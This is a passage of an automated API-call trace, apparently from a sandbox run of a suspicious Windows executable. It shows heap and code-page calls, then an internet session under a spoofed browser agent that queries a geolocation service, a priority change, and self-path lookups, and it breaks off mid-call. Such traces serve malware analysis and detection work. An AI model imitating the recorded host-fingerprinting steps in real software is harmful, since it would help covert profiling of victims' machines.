Flags=0x8, Size=0x3a) returned 0x6c0fe8 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x90) returned 0x6cda30 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x6c6b58 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x30) returned 0x6c71d8 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x36) returned 0x6cdac8 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x48) returned 0x6c2d38 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x52) returned 0x6cdb08 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3c) returned 0x6c1030 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x82) returned 0x6cdb68 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2e) returned 0x6c7210 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1e) returned 0x6cb180 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2c) returned 0x6c7248 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x54) returned 0x6cdbf8 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x52) returned 0x6cdc58 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2a) returned 0x6c7280 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3c) returned 0x6c1078 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x54) returned 0x6cdcb8 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x6c6b88 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x30) returned 0x6c72b8 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x8c) returned 0x6cdd18 [0033.280] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6ccae0 | out: hHeap=0x620000) returned 1 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x80) returned 0x6cddb0 [0033.281] GetLastError () returned 0x0 [0033.281] SetLastError (dwErrCode=0x0) [0033.281] GetLastError () returned 0x0 [0033.281] SetLastError (dwErrCode=0x0) [0033.281] GetLastError () returned 0x0 [0033.281] SetLastError (dwErrCode=0x0) [0033.281] GetACP () returned 0x4e4 [0033.281] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x220) returned 0x6cc008 [0033.281] GetLastError () returned 0x0 [0033.281] SetLastError (dwErrCode=0x0) [0033.281] IsValidCodePage (CodePage=0x4e4) returned 1 [0033.281] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d884 | out: lpCPInfo=0x18d884) returned 1 [0033.281] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d34c | out: lpCPInfo=0x18d34c) returned 1 [0033.281] GetLastError () returned 0x0 [0033.281] SetLastError (dwErrCode=0x0) [0033.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x18d0c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0033.281] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x18d360 | out: lpCharType=0x18d360) returned 1 [0033.281] GetLastError () returned 0x0 [0033.281] SetLastError (dwErrCode=0x0) [0033.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x18d098, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0033.281] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0033.281] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18ce88, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0033.282] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18d660, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe3\xe9\x4d\x95\x9c\xd8\x18", lpUsedDefaultChar=0x0) returned 256 [0033.282] GetLastError () returned 0x0 [0033.282] SetLastError (dwErrCode=0x0) [0033.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x18d0b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ") returned 256 [0033.282] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0033.282] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18cea8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0033.282] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18d560, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe3\xe9\x4d\x95\x9c\xd8\x18", lpUsedDefaultChar=0x0) returned 256 [0033.282] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0033.282] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x800) returned 0x6cc230 [0033.282] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x451aa9 [0033.282] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cddb0) returned 0x80 [0033.282] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cddb0) returned 0x80 [0033.283] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cddb0) returned 0x80 [0033.283] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cddb0) returned 0x80 [0033.283] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x110) returned 0x6cde38 [0033.283] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cddb0) returned 0x80 [0033.283] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x10) returned 0x6ca870 [0033.283] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cddb0) returned 0x80 [0033.284] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cddb0) returned 0x80 [0033.284] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cddb0) returned 0x80 [0033.288] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cddb0) returned 0x80 [0033.290] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0034.193] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x40) returned 0x6c13d8 [0034.193] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0041.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x189b60, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18c360 | out: lpBuffer=0x189b60*, lpdwNumberOfBytesRead=0x18c360*=0x1d1) returned 1 [0041.257] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0041.259] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0041.259] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x20) returned 0x6d8c58 [0041.260] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x1e0) returned 0x30f28e0 [0041.260] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f28e0 | out: hHeap=0x620000) returned 1 [0041.260] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6d8c58 | out: hHeap=0x620000) returned 1 [0041.260] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6c13d8 | out: hHeap=0x620000) returned 1 [0041.260] GetCurrentProcess () returned 0xffffffff [0041.260] GetLastError () returned 0x2 [0041.260] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0041.260] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x10) returned 0x6fbf48 [0041.260] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x110) returned 0x6ffe08 [0041.260] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x800) returned 0x706dc8 [0041.260] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x706dc8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe")) returned 0x32 [0041.260] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0041.260] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x810) returned 0x3108990 [0041.260] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" " [0041.260] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" ", pNumArgs=0x18c440 | out: pNumArgs=0x18c440) returned 0x312bdc8*="C:\\Users\\5p5NrGJn0jS 